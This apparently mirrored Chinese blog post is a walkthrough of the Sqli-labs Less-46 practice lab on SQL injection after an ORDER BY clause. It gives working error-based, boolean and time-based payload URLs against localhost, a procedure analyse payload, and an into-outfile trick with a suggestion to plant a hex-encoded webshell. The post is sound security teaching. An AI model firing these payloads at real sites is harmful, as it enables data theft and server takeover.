zoukankan      html  css  js  c++  java
  • Sqli-labs Less-46 order by后的注入

    从本关开始,我们开始学习order by 相关注入的知识。

    本关的sql语句为

    $id=$_GET['sort'];    
    $sql = "SELECT * FROM users ORDER BY $id";

    尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(降序or升序排列)

    从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。

    我们可利用order by后的一些参数进行注入。

    一、首先order by 后的数字可以作为一个注入点。

    也就是构造order by 后的一个语句,让该语句执行结果为一个数。我们尝试

    http://127.0.0.1/sql/Less-46/?sort=right(version(),1)

    没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

    此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

    ①直接添加注入语句,?sort=(select ******)

    ②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

    Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。

    ③利用and,例如?sort=1 and (加sql语句)。

    同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

    报错注入例子

    http://127.0.0.1/sql/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

    上述例子,可以看到root@localhost的用户名

    接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。

    http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=115)

    http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=116)

    从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。

    延时注入例子

    http://127.0.0.1/sql/Less-46/?sort=(select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)

    http://127.0.0.1/sql/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

    上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。

    同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。

    二、procedure analyse参数注入

    利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    参考:https://www.cnblogs.com/qing123/p/4575901.html

    以下为示范例

    http://127.0.0.1/sql/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

    PS:我的mysql报错了,不明白为什么?难道是版本的问题?(我的版本是5.6.17)

    三、导入导出文件into outfile参数注入

    将查询结果导入到文件当中

    http://127.0.0.1/sql/Less-46/?sort=1 into outfile "D:\software\wamp\www\sql\test1.txt"

    查看这个文件,发现导入成功。

    那这个时候我们可以考虑上传网马,利用lines terminated by。

    Into outtfile D:\software\wamp\www\sql\test1.txt lines terminated by 0x(网马进行16进制转换)

    参考:https://www.cnblogs.com/lcamry/p/5762710.html

  • 相关阅读:
    关于量子计算机的一些整理 (精心整理原创) (1)
    自然语言交流系统 phxnet团队 创新实训 个人博客 (一)
    自然语言交流系统 phxnet团队 创新实训 项目博客 (一)
    double类型保留2位小数
    main函数位置
    java中main函数解析
    关于函数声明的小知识点
    数据帧、数据包、数据报以及数据段
    chrome 常用快捷键(可以摆脱鼠标哦)
    chrome 如何利用快捷键将光标移动到地址栏
  • 原文地址:https://www.cnblogs.com/zhengna/p/12665832.html
Copyright © 2011-2022 走看看